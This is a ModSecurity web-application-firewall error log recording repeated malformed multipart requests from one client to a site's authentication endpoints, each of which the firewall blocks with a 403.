[Mon Feb 16 19:23:47.918320 2026] [:error] [pid 4348:tid 4403] [client 160.178.45.103:60760] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth"] [unique_id "aZL-Q3xbK-cCGKg9ayuatAAAAEg"]
[Mon Feb 16 19:23:47.918441 2026] [:error] [pid 4348:tid 4403] [client 160.178.45.103:60760] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth"] [unique_id "aZL-Q3xbK-cCGKg9ayuatAAAAEg"]
[Mon Feb 16 19:23:48.245404 2026] [:error] [pid 4348:tid 4413] [client 160.178.45.103:60760] [client 160.178.45.103] ModSecurity: Multipart parsing error (init): Multipart: Multiple boundary parameters in C-T. [hostname "gigfragments.org"] [uri "/api/auth"] [unique_id "aZL-RHxbK-cCGKg9ayuatQAAAFI"]
[Mon Feb 16 19:23:48.911630 2026] [:error] [pid 4348:tid 4413] [client 160.178.45.103:60760] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart: Multiple boundary parameters in C-T."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth"] [unique_id "aZL-RHxbK-cCGKg9ayuatQAAAFI"]
[Mon Feb 16 19:23:48.911740 2026] [:error] [pid 4348:tid 4413] [client 160.178.45.103:60760] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 0, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth"] [unique_id "aZL-RHxbK-cCGKg9ayuatQAAAFI"]
[Mon Feb 16 19:24:03.411546 2026] [:error] [pid 38888:tid 38896] [client 160.178.45.103:53550] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth/signin"] [unique_id "aZL-U6mDoBJWPvV4pcNGrQAAAUU"]
[Mon Feb 16 19:24:03.411706 2026] [:error] [pid 38888:tid 38896] [client 160.178.45.103:53550] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth/signin"] [unique_id "aZL-U6mDoBJWPvV4pcNGrQAAAUU"]
[Mon Feb 16 19:24:03.730017 2026] [:error] [pid 38888:tid 38905] [client 160.178.45.103:53550] [client 160.178.45.103] ModSecurity: Multipart parsing error (init): Multipart: Multiple boundary parameters in C-T. [hostname "gigfragments.org"] [uri "/api/auth/signin"] [unique_id "aZL-U6mDoBJWPvV4pcNGrgAAAU4"]
[Mon Feb 16 19:24:03.730464 2026] [:error] [pid 38888:tid 38905] [client 160.178.45.103:53550] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart: Multiple boundary parameters in C-T."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth/signin"] [unique_id "aZL-U6mDoBJWPvV4pcNGrgAAAU4"]
[Mon Feb 16 19:24:03.730518 2026] [:error] [pid 38888:tid 38905] [client 160.178.45.103:53550] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 0, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth/signin"] [unique_id "aZL-U6mDoBJWPvV4pcNGrgAAAU4"]
[Mon Feb 16 19:24:04.052651 2026] [:error] [pid 38888:tid 38901] [client 160.178.45.103:53550] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth/signin"] [unique_id "aZL-VKmDoBJWPvV4pcNGsQAAAUo"]
[Mon Feb 16 19:24:04.052786 2026] [:error] [pid 38888:tid 38901] [client 160.178.45.103:53550] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth/signin"] [unique_id "aZL-VKmDoBJWPvV4pcNGsQAAAUo"]
[Mon Feb 16 19:24:05.878135 2026] [:error] [pid 38888:tid 38904] [client 160.178.45.103:53550] [client 160.178.45.103] ModSecurity: Multipart parsing error (init): Multipart: Multiple boundary parameters in C-T. [hostname "gigfragments.org"] [uri "/api/auth/signin"] [unique_id "aZL-VamDoBJWPvV4pcNGtAAAAU0"]
[Mon Feb 16 19:24:06.526722 2026] [:error] [pid 38888:tid 38904] [client 160.178.45.103:53550] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart: Multiple boundary parameters in C-T."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth/signin"] [unique_id "aZL-VamDoBJWPvV4pcNGtAAAAU0"]
[Mon Feb 16 19:24:06.526834 2026] [:error] [pid 38888:tid 38904] [client 160.178.45.103:53550] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 0, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth/signin"] [unique_id "aZL-VamDoBJWPvV4pcNGtAAAAU0"]
[Mon Feb 16 19:24:19.873220 2026] [:error] [pid 38888:tid 38891] [client 160.178.45.103:51700] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZL-Y6mDoBJWPvV4pcNG0gAAAUA"]
[Mon Feb 16 19:24:19.873320 2026] [:error] [pid 38888:tid 38891] [client 160.178.45.103:51700] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZL-Y6mDoBJWPvV4pcNG0gAAAUA"]
[Mon Feb 16 19:24:20.204058 2026] [:error] [pid 38888:tid 38896] [client 160.178.45.103:51700] [client 160.178.45.103] ModSecurity: Multipart parsing error (init): Multipart: Multiple boundary parameters in C-T. [hostname "gigfragments.org"] [uri "/"] [unique_id "aZL-ZKmDoBJWPvV4pcNG1AAAAUU"]
[Mon Feb 16 19:24:20.204581 2026] [:error] [pid 38888:tid 38896] [client 160.178.45.103:51700] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart: Multiple boundary parameters in C-T."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZL-ZKmDoBJWPvV4pcNG1AAAAUU"]
[Mon Feb 16 19:24:20.204661 2026] [:error] [pid 38888:tid 38896] [client 160.178.45.103:51700] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 0, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZL-ZKmDoBJWPvV4pcNG1AAAAUU"]
[Mon Feb 16 19:24:21.519394 2026] [:error] [pid 38888:tid 38911] [client 160.178.45.103:51700] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZL-ZamDoBJWPvV4pcNG1wAAAVQ"]
[Mon Feb 16 19:24:21.519499 2026] [:error] [pid 38888:tid 38911] [client 160.178.45.103:51700] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZL-ZamDoBJWPvV4pcNG1wAAAVQ"]
[Mon Feb 16 19:24:22.617777 2026] [:error] [pid 38888:tid 38898] [client 160.178.45.103:51700] [client 160.178.45.103] ModSecurity: Multipart parsing error (init): Multipart: Multiple boundary parameters in C-T. [hostname "gigfragments.org"] [uri "/"] [unique_id "aZL-ZqmDoBJWPvV4pcNG2gAAAUc"]
[Mon Feb 16 19:24:23.288630 2026] [:error] [pid 38888:tid 38898] [client 160.178.45.103:51700] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart: Multiple boundary parameters in C-T."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZL-ZqmDoBJWPvV4pcNG2gAAAUc"]
[Mon Feb 16 19:24:23.288769 2026] [:error] [pid 38888:tid 38898] [client 160.178.45.103:51700] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 0, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZL-ZqmDoBJWPvV4pcNG2gAAAUc"]
[Mon Feb 16 19:24:43.220388 2026] [:error] [pid 26648:tid 26676] [client 160.178.45.103:62457] [client 160.178.45.103] ModSecurity: Multipart parsing error (init): Multipart: Multiple boundary parameters in C-T. [hostname "gigfragments.org"] [uri "/api"] [unique_id "aZL-ezT55fUixS3gmygmIAAAAZc"]
[Mon Feb 16 19:24:43.220977 2026] [:error] [pid 26648:tid 26676] [client 160.178.45.103:62457] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart: Multiple boundary parameters in C-T."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api"] [unique_id "aZL-ezT55fUixS3gmygmIAAAAZc"]
[Mon Feb 16 19:24:43.221145 2026] [:error] [pid 26648:tid 26676] [client 160.178.45.103:62457] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 0, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api"] [unique_id "aZL-ezT55fUixS3gmygmIAAAAZc"]
[Mon Feb 16 19:24:43.564445 2026] [:error] [pid 26648:tid 26663] [client 160.178.45.103:62457] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api"] [unique_id "aZL-ezT55fUixS3gmygmIQAAAYo"]
[Mon Feb 16 19:24:43.564532 2026] [:error] [pid 26648:tid 26663] [client 160.178.45.103:62457] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api"] [unique_id "aZL-ezT55fUixS3gmygmIQAAAYo"]
[Mon Feb 16 19:24:43.883267 2026] [:error] [pid 26648:tid 26672] [client 160.178.45.103:62457] [client 160.178.45.103] ModSecurity: Multipart parsing error (init): Multipart: Multiple boundary parameters in C-T. [hostname "gigfragments.org"] [uri "/api"] [unique_id "aZL-ezT55fUixS3gmygmIwAAAZM"]
[Mon Feb 16 19:24:44.211656 2026] [:error] [pid 26648:tid 26672] [client 160.178.45.103:62457] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart: Multiple boundary parameters in C-T."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api"] [unique_id "aZL-ezT55fUixS3gmygmIwAAAZM"]
[Mon Feb 16 19:24:44.211756 2026] [:error] [pid 26648:tid 26672] [client 160.178.45.103:62457] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 0, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api"] [unique_id "aZL-ezT55fUixS3gmygmIwAAAZM"]
[Mon Feb 16 19:25:04.661819 2026] [:error] [pid 4455:tid 4457] [client 160.178.45.103:65291] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth"] [unique_id "aZL-kANa-4dvQCL0rup7CAAAAMA"]
[Mon Feb 16 19:25:04.661919 2026] [:error] [pid 4455:tid 4457] [client 160.178.45.103:65291] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth"] [unique_id "aZL-kANa-4dvQCL0rup7CAAAAMA"]
[Mon Feb 16 19:25:06.429273 2026] [:error] [pid 4455:tid 4468] [client 160.178.45.103:65291] [client 160.178.45.103] ModSecurity: Multipart parsing error (init): Multipart: Multiple boundary parameters in C-T. [hostname "gigfragments.org"] [uri "/api/auth"] [unique_id "aZL-kgNa-4dvQCL0rup7DAAAAMs"]
[Mon Feb 16 19:25:11.298326 2026] [:error] [pid 4455:tid 4468] [client 160.178.45.103:65291] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart: Multiple boundary parameters in C-T."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth"] [unique_id "aZL-kgNa-4dvQCL0rup7DAAAAMs"]
[Mon Feb 16 19:25:11.298456 2026] [:error] [pid 4455:tid 4468] [client 160.178.45.103:65291] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 0, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth"] [unique_id "aZL-kgNa-4dvQCL0rup7DAAAAMs"]
[Mon Feb 16 19:25:31.588333 2026] [:error] [pid 37004:tid 37017] [client 160.178.45.103:55409] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth/signin"] [unique_id "aZL-pFXWqA9gxE5oGmYcuAAAAQs"]
[Mon Feb 16 19:25:31.588458 2026] [:error] [pid 37004:tid 37017] [client 160.178.45.103:55409] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth/signin"] [unique_id "aZL-pFXWqA9gxE5oGmYcuAAAAQs"]
[Mon Feb 16 19:25:31.921756 2026] [:error] [pid 37004:tid 37010] [client 160.178.45.103:55409] [client 160.178.45.103] ModSecurity: Multipart parsing error (init): Multipart: Multiple boundary parameters in C-T. [hostname "gigfragments.org"] [uri "/api/auth/signin"] [unique_id "aZL-q1XWqA9gxE5oGmYcwgAAAQQ"]
[Mon Feb 16 19:25:31.922315 2026] [:error] [pid 37004:tid 37010] [client 160.178.45.103:55409] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart: Multiple boundary parameters in C-T."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth/signin"] [unique_id "aZL-q1XWqA9gxE5oGmYcwgAAAQQ"]
[Mon Feb 16 19:25:31.922315 2026] [:error] [pid 37004:tid 37010] [client 160.178.45.103:55409] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 0, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth/signin"] [unique_id "aZL-q1XWqA9gxE5oGmYcwgAAAQQ"]
[Mon Feb 16 19:25:32.262746 2026] [:error] [pid 37004:tid 37019] [client 160.178.45.103:55409] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth/signin"] [unique_id "aZL-rFXWqA9gxE5oGmYcxQAAAQ0"]
[Mon Feb 16 19:25:32.262842 2026] [:error] [pid 37004:tid 37019] [client 160.178.45.103:55409] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth/signin"] [unique_id "aZL-rFXWqA9gxE5oGmYcxQAAAQ0"]
[Mon Feb 16 19:25:32.628337 2026] [:error] [pid 37004:tid 37027] [client 160.178.45.103:55409] [client 160.178.45.103] ModSecurity: Multipart parsing error (init): Multipart: Multiple boundary parameters in C-T. [hostname "gigfragments.org"] [uri "/api/auth/signin"] [unique_id "aZL-rFXWqA9gxE5oGmYcxgAAARU"]
[Mon Feb 16 19:25:33.323441 2026] [:error] [pid 37004:tid 37027] [client 160.178.45.103:55409] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart: Multiple boundary parameters in C-T."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth/signin"] [unique_id "aZL-rFXWqA9gxE5oGmYcxgAAARU"]
[Mon Feb 16 19:25:33.323598 2026] [:error] [pid 37004:tid 37027] [client 160.178.45.103:55409] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 0, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth/signin"] [unique_id "aZL-rFXWqA9gxE5oGmYcxgAAARU"]
